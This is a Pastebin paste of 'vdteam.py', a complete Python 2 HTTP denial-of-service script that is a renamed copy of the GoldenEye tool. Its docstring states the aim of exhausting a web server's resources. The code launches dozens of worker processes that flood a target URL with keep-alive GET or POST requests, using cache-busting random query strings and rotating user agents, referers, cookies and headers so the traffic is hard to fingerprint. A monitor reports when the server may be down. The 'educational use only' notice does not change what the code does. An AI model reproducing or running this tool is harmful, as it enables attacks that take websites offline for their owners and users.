Advertisement
TP2K1

vdteam.py

Jul 18th, 2015
956
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 16.79 KB | None | 0 0
  1. #!/usr/bin/env python
  2.  
  3. """
  4. $Id: Kim Lien
  5. This tool is a dos tool that is meant to put heavy load on HTTP servers
  6. in order to bring them to their knees by exhausting the resource pool.
  7.  
  8. This tool is meant for research purposes only
  9. and any malicious usage of this tool is prohibited.
  10.  
  11. @author Jan Seidl <https://www.facebook.com/groups/349654261899377/>
  12.  
  13. @date 2013-03-26
  14. @version 2.0
  15.  
  16. @TODO Test in python 3.x
  17.  
  18. LICENSE:
  19. This software is distributed under the GNU General Public License version 3 (GPLv3)
  20.  
  21. LEGAL NOTICE:
  22. THIS SOFTWARE IS PROVIDED FOR EDUCATIONAL USE ONLY!
  23. IF YOU ENGAGE IN ANY ILLEGAL ACTIVITY
  24. THE AUTHOR DOES NOT TAKE ANY RESPONSIBILITY FOR IT.
  25. BY USING THIS SOFTWARE YOU AGREE WITH THESE TERMS.
  26. """
  27.  
  28. from multiprocessing import Process, Manager
  29. import urlparse, ssl
  30. import sys, getopt, random, time
  31.  
  32. # Python version-specific
  33. if sys.version_info < (3,0):
  34. # Python 2.x
  35. import httplib
  36. HTTPCLIENT = httplib
  37. else:
  38. # Python 3.x
  39. import http.client
  40. HTTPCLIENT = http.client
  41.  
  42. ####
  43. # Config
  44. ####
  45. DEBUG = False
  46.  
  47. ####
  48. # Constants
  49. ####
  50. METHOD_GET = 'get'
  51. METHOD_POST = 'post'
  52. METHOD_RAND = 'random'
  53.  
  54. JOIN_TIMEOUT=1.0
  55.  
  56. DEFAULT_WORKERS=50
  57. DEFAULT_SOCKETS=30
  58.  
  59. ####
  60. # MON_team Class
  61. ####
  62.  
  63. class GoldenEye(object):
  64.  
  65. # Counters
  66. counter = [0, 0]
  67. last_counter = [0, 0]
  68.  
  69. # Containers
  70. workersQueue = []
  71. manager = None
  72.  
  73. # Properties
  74. url = None
  75.  
  76. # Options
  77. nr_workers = DEFAULT_WORKERS
  78. nr_sockets = DEFAULT_SOCKETS
  79. method = METHOD_GET
  80.  
  81. def __init__(self, url):
  82.  
  83. # Set URL
  84. self.url = url
  85.  
  86. # Initialize Manager
  87. self.manager = Manager()
  88.  
  89. # Initialize Counters
  90. self.counter = self.manager.list((0, 0))
  91.  
  92. def exit(self):
  93. self.stats()
  94. print "Shutting down "
  95.  
  96. def __del__(self):
  97. self.exit()
  98.  
  99. def printHeader(self):
  100.  
  101. # Taunt!
  102. print "I am firing!"
  103.  
  104. # Do the fun!
  105. def fire(self):
  106.  
  107. self.printHeader()
  108. print "Hitting webserver in mode {0} with {1} workers running {2} connections each".format(self.method, self.nr_workers, self.nr_sockets)
  109.  
  110. if DEBUG:
  111. print "Starting {0} concurrent Laser workers".format(self.nr_workers)
  112.  
  113. # Start workers
  114. for i in range(int(self.nr_workers)):
  115.  
  116. try:
  117.  
  118. worker = Laser(self.url, self.nr_sockets, self.counter)
  119. worker.method = self.method
  120.  
  121. self.workersQueue.append(worker)
  122. worker.start()
  123. except (Exception):
  124. error("Failed to start worker {0}".format(i))
  125. pass
  126.  
  127. print "Initiating monitor"
  128. self.monitor()
  129.  
  130. def stats(self):
  131.  
  132. try:
  133. if self.counter[0] > 0 or self.counter[1] > 0:
  134.  
  135. print "{0} punches deferred. ({1} Failed)".format(self.counter[0], self.counter[1])
  136.  
  137. if self.counter[0] > 0 and self.counter[1] > 0 and self.last_counter[0] == self.counter[0] and self.counter[1] > self.last_counter[1]:
  138. print "\tServer may be DOWN!"
  139.  
  140. self.last_counter[0] = self.counter[0]
  141. self.last_counter[1] = self.counter[1]
  142. except (Exception):
  143. pass # silently ignore
  144.  
  145. def monitor(self):
  146. while len(self.workersQueue) > 0:
  147. try:
  148. for worker in self.workersQueue:
  149. if worker is not None and worker.is_alive():
  150. worker.join(JOIN_TIMEOUT)
  151. else:
  152. self.workersQueue.remove(worker)
  153.  
  154. self.stats()
  155.  
  156. except (KeyboardInterrupt, SystemExit):
  157. print "CTRL+C received. Killing all workers"
  158. for worker in self.workersQueue:
  159. try:
  160. if DEBUG:
  161. print "Killing worker {0}".format(worker.name)
  162. #worker.terminate()
  163. worker.stop()
  164. except Exception, ex:
  165. pass # silently ignore
  166. if DEBUG:
  167. raise
  168. else:
  169. pass
  170.  
  171. ####
  172. # Laser Class
  173. ####
  174.  
  175. class Laser(Process):
  176.  
  177.  
  178. # Counters
  179. request_count = 0
  180. failed_count = 0
  181.  
  182. # Containers
  183. url = None
  184. host = None
  185. port = 80
  186. ssl = False
  187. referers = []
  188. useragents = []
  189. socks = []
  190. counter = None
  191. nr_socks = DEFAULT_SOCKETS
  192.  
  193. # Flags
  194. runnable = True
  195.  
  196. # Options
  197. method = METHOD_GET
  198.  
  199. def __init__(self, url, nr_sockets, counter):
  200.  
  201. super(Laser, self).__init__()
  202.  
  203. self.counter = counter
  204. self.nr_socks = nr_sockets
  205.  
  206. parsedUrl = urlparse.urlparse(url)
  207.  
  208. if parsedUrl.scheme == 'https':
  209. self.ssl = True
  210.  
  211. self.host = parsedUrl.netloc.split(':')[0]
  212. self.url = parsedUrl.path
  213.  
  214. self.port = parsedUrl.port
  215.  
  216. if not self.port:
  217. self.port = 80 if not self.ssl else 443
  218.  
  219.  
  220. self.referers = [
  221. 'http://www.google.com/?q=',
  222. 'http://www.usatoday.com/search/results?q=',
  223. 'http://engadget.search.aol.com/search?q=',
  224. 'http://' + self.host + '/'
  225. ]
  226.  
  227.  
  228. self.useragents = [
  229. 'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
  230. 'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
  231. 'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
  232. 'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
  233. 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
  234. 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
  235. 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
  236. 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
  237. 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
  238. 'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
  239. 'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
  240. 'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
  241. 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)'
  242. 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)',
  243. 'Googlebot/2.1 (http://www.googlebot.com/bot.html)',
  244. 'Opera/9.20 (Windows NT 6.0; U; en)',
  245. 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)',
  246. 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)',
  247. 'Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0',
  248. 'Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16',
  249. 'Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)', # maybe not
  250. 'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13',
  251. 'Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)',
  252. 'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',
  253. 'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)',
  254. 'Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)',
  255. 'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)',
  256. 'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8',
  257. 'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7',
  258. 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)',
  259. 'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)',
  260. 'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
  261. 'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)',
  262. 'Mozilla/5.0 (compatible; MJ12bot/v1.3.3; http://www.majestic12.co.uk/bot.php?+)'
  263. ]
  264.  
  265. def __del__(self):
  266. self.stop()
  267.  
  268.  
  269. #builds random ascii string
  270. def buildblock(self, size):
  271. out_str = ''
  272.  
  273. _LOWERCASE = range(97, 122)
  274. _UPPERCASE = range(65, 90)
  275. _NUMERIC = range(48, 57)
  276.  
  277. validChars = _LOWERCASE + _UPPERCASE + _NUMERIC
  278.  
  279. for i in range(0, size):
  280. a = random.choice(validChars)
  281. out_str += chr(a)
  282.  
  283. return out_str
  284.  
  285.  
  286. def run(self):
  287.  
  288. if DEBUG:
  289. print "Starting worker {0}".format(self.name)
  290.  
  291. while self.runnable:
  292.  
  293. try:
  294.  
  295. for i in range(self.nr_socks):
  296.  
  297. if self.ssl:
  298. c = HTTPCLIENT.HTTPSConnection(self.host, self.port)
  299. else:
  300. c = HTTPCLIENT.HTTPConnection(self.host, self.port)
  301.  
  302. self.socks.append(c)
  303.  
  304. for conn_req in self.socks:
  305.  
  306. (url, headers) = self.createPayload()
  307.  
  308. method = random.choice([METHOD_GET, METHOD_POST]) if self.method == METHOD_RAND else self.method
  309.  
  310. conn_req.request(method.upper(), url, None, headers)
  311.  
  312. for conn_resp in self.socks:
  313.  
  314. resp = conn_resp.getresponse()
  315. self.incCounter()
  316.  
  317. self.closeConnections()
  318.  
  319. except:
  320. self.incFailed()
  321. if DEBUG:
  322. raise
  323. else:
  324. pass # silently ignore
  325.  
  326. if DEBUG:
  327. print "Worker {0} completed run. Sleeping...".format(self.name)
  328.  
  329. def closeConnections(self):
  330. for conn in self.socks:
  331. try:
  332. conn.close()
  333. except:
  334. pass # silently ignore
  335.  
  336.  
  337. def createPayload(self):
  338.  
  339. req_url, headers = self.generateData()
  340.  
  341. random_keys = headers.keys()
  342. random.shuffle(random_keys)
  343. random_headers = {}
  344.  
  345. for header_name in random_keys:
  346. random_headers[header_name] = headers[header_name]
  347.  
  348. return (req_url, random_headers)
  349.  
  350. def generateQueryString(self, ammount = 1):
  351.  
  352. queryString = []
  353.  
  354. for i in range(ammount):
  355.  
  356. key = self.buildblock(random.randint(3,10))
  357. value = self.buildblock(random.randint(3,20))
  358. element = "{0}={1}".format(key, value)
  359. queryString.append(element)
  360.  
  361. return '&'.join(queryString)
  362.  
  363.  
  364. def generateData(self):
  365.  
  366. returnCode = 0
  367. param_joiner = "?"
  368.  
  369. if len(self.url) == 0:
  370. self.url = '/'
  371.  
  372. if self.url.count("?") > 0:
  373. param_joiner = "&"
  374.  
  375. request_url = self.generateRequestUrl(param_joiner)
  376.  
  377. http_headers = self.generateRandomHeaders()
  378.  
  379.  
  380. return (request_url, http_headers)
  381.  
  382. def generateRequestUrl(self, param_joiner = '?'):
  383.  
  384. return self.url + param_joiner + self.generateQueryString(random.randint(1,5))
  385.  
  386. def generateRandomHeaders(self):
  387.  
  388. # Random no-cache entries
  389. noCacheDirectives = ['no-cache', 'must-revalidate']
  390. random.shuffle(noCacheDirectives)
  391. noCache = ', '.join(noCacheDirectives)
  392.  
  393. # Random accept encoding
  394. acceptEncoding = ['\'\'','*','identity','gzip','deflate']
  395. random.shuffle(acceptEncoding)
  396. nrEncodings = random.randint(0,len(acceptEncoding)/2)
  397. roundEncodings = acceptEncoding[:nrEncodings]
  398.  
  399. http_headers = {
  400. 'User-Agent': random.choice(self.useragents),
  401. 'Cache-Control': noCache,
  402. 'Accept-Encoding': ', '.join(roundEncodings),
  403. 'Connection': 'keep-alive',
  404. 'Keep-Alive': random.randint(110,120),
  405. 'Host': self.host,
  406. }
  407.  
  408. # Randomly-added headers
  409. # These headers are optional and are
  410. # randomly sent thus making the
  411. # header count random and unfingerprintable
  412. if random.randrange(2) == 0:
  413. # Random accept-charset
  414. acceptCharset = [ 'ISO-8859-1', 'utf-8', 'Windows-1251', 'ISO-8859-2', 'ISO-8859-15', ]
  415. random.shuffle(acceptCharset)
  416. http_headers['Accept-Charset'] = '{0},{1};q={2},*;q={3}'.format(acceptCharset[0], acceptCharset[1],round(random.random(), 1), round(random.random(), 1))
  417.  
  418. if random.randrange(2) == 0:
  419. # Random Referer
  420. http_headers['Referer'] = random.choice(self.referers) + self.buildblock(random.randint(5,10))
  421.  
  422. if random.randrange(2) == 0:
  423. # Random Content-Trype
  424. http_headers['Content-Type'] = random.choice(['multipart/form-data', 'application/x-url-encoded'])
  425.  
  426. if random.randrange(2) == 0:
  427. # Random Cookie
  428. http_headers['Cookie'] = self.generateQueryString(random.randint(1, 5))
  429.  
  430. return http_headers
  431.  
  432. # Housekeeping
  433. def stop(self):
  434. self.runnable = False
  435. self.closeConnections()
  436. self.terminate()
  437.  
  438. # Counter Functions
  439. def incCounter(self):
  440. try:
  441. self.counter[0] += 1
  442. except (Exception):
  443. pass
  444.  
  445. def incFailed(self):
  446. try:
  447. self.counter[1] += 1
  448. except (Exception):
  449. pass
  450.  
  451.  
  452.  
  453. ####
  454.  
  455. ####
  456. # Other Functions
  457. ####
  458.  
  459. def usage():
  460. print
  461. print '-----------------------------------------------------------------------------------------------------------'
  462. print ' USAGE: VD.py <url> [OPTIONS]'
  463. print
  464. print ' OPTIONS:'
  465. print '\t Use\t\t\ton\t\t\t\t\t\tKoding.com'
  466. print '\t -w, --workers\t\tNumber of concurrent workers\t\t\t\t(default: {0})'.format(DEFAULT_WORKERS)
  467. print '\t -s, --sockets\t\tNumber of concurrent sockets\t\t\t\t(default: {0})'.format(DEFAULT_SOCKETS)
  468. print '\t -m, --method\t\tHTTP Method to use \'get\' or \'post\' or \'random\'\t\t(default: get)'
  469. print '\t -d, --debug\t\tEnable Debug Mode [more verbose output]\t\t\t(default: False)'
  470. print '\t -h, --help\t\tShows this help'
  471. print '-----------------------------------------------------------------------------------------------------------'
  472.  
  473.  
  474. def error(msg):
  475. # print help information and exit:
  476. sys.stderr.write(str(msg+"\n"))
  477. usage()
  478. sys.exit(2)
  479.  
  480. ####
  481. # Main
  482. ####
  483.  
  484. def main():
  485.  
  486. try:
  487.  
  488. if len(sys.argv) < 2:
  489. error('Please supply at least the URL')
  490.  
  491. url = sys.argv[1]
  492.  
  493. if url == '-h':
  494. usage()
  495. sys.exit()
  496.  
  497. if url[0:4].lower() != 'http':
  498. error("Invalid URL supplied")
  499.  
  500. if url == None:
  501. error("No URL supplied")
  502.  
  503. opts, args = getopt.getopt(sys.argv[2:], "dhw:s:m:", ["debug", "help", "workers", "sockets", "method" ])
  504.  
  505. workers = DEFAULT_WORKERS
  506. socks = DEFAULT_SOCKETS
  507. method = METHOD_GET
  508.  
  509. for o, a in opts:
  510. if o in ("-h", "--help"):
  511. usage()
  512. sys.exit()
  513. elif o in ("-s", "--sockets"):
  514. socks = int(a)
  515. elif o in ("-w", "--workers"):
  516. workers = int(a)
  517. elif o in ("-d", "--debug"):
  518. global DEBUG
  519. DEBUG = True
  520. elif o in ("-m", "--method"):
  521. if a in (METHOD_GET, METHOD_POST, METHOD_RAND):
  522. method = a
  523. else:
  524. error("method {0} is invalid".format(a))
  525. else:
  526. error("option '"+o+"' doesn't exists")
  527.  
  528. goldeneye = GoldenEye(url)
  529. goldeneye.nr_workers = workers
  530. goldeneye.method = method
  531. goldeneye.nr_sockets = socks
  532.  
  533. goldeneye.fire()
  534.  
  535. except getopt.GetoptError, err:
  536.  
  537. # print help information and exit:
  538. sys.stderr.write(str(err))
  539. usage()
  540. sys.exit(2)
  541.  
  542. if __name__ == "__main__":
  543. main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement